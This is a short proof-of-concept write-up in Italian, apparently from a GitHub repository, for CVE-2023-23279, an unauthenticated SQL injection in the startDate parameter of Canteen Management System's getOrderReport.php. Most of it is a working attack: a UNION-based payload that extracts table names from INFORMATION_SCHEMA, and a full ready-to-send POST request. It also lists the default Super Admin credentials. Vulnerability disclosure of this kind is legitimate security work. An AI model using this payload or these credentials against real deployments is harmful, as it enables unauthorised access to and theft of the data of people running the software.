tuannq2299/cve-2023-23279Proof-of-concept exploit per una vulnerabilità di SQL injection non autenticata (CVSS 9.8) in Canteen Management System v1.0, che consente l'estrazione remota dei dati tramite l'endpoint getOrderReport.php.
Data di scoperta: 5/1/2023 Fornitore: https://www.sourcecodester.com/php/15688/canteen-management-system-project-source-code-php.html
Account di accesso: [email protected]/rootadmin (account Super Admin)
File vulnerabile: /php_action/getOrderReport.php
Posizione della vulnerabilità: /php_action/getOrderReport.php, startDate
CVSS 3.0: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Payload: startDate=2023-01-05'+UNION+ALL+SELECT+4406,CONCAT(0x716a627a71,IFNULL(CAST(table_name+AS+NCHAR),0x20),0x716a6a7071),4406,4406,4406,4406,4406,4406,4406,4406,4406,4406,4406,4406,4406,4406,4406,4406+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema+IN+(0x796f757468617070616d)--+-
POST /youthappam/php_action/getOrderReport.php HTTP/1.1
Host: localhost
Content-Length: 297
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="104"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://localhost/youthappam/report.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
startDate=2023-01-05'+UNION+ALL+SELECT+4406,CONCAT(0x716a627a71,IFNULL(CAST(table_name+AS+NCHAR),0x20),0x716a6a7071),4406,4406,4406,4406,4406,4406,4406,4406,4406,4406,4406,4406,4406,4406,4406,4406+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema+IN+(0x796f757468617070616d)--+-&endDate=2023-01-06
La richiesta può essere inviata da un utente non autenticato, per questo motivo il CVSS di questa vulnerabilità è 9.8
Il valore del parametro startDate viene passato alla query SQL ed eseguito senza alcuna sanificazione.
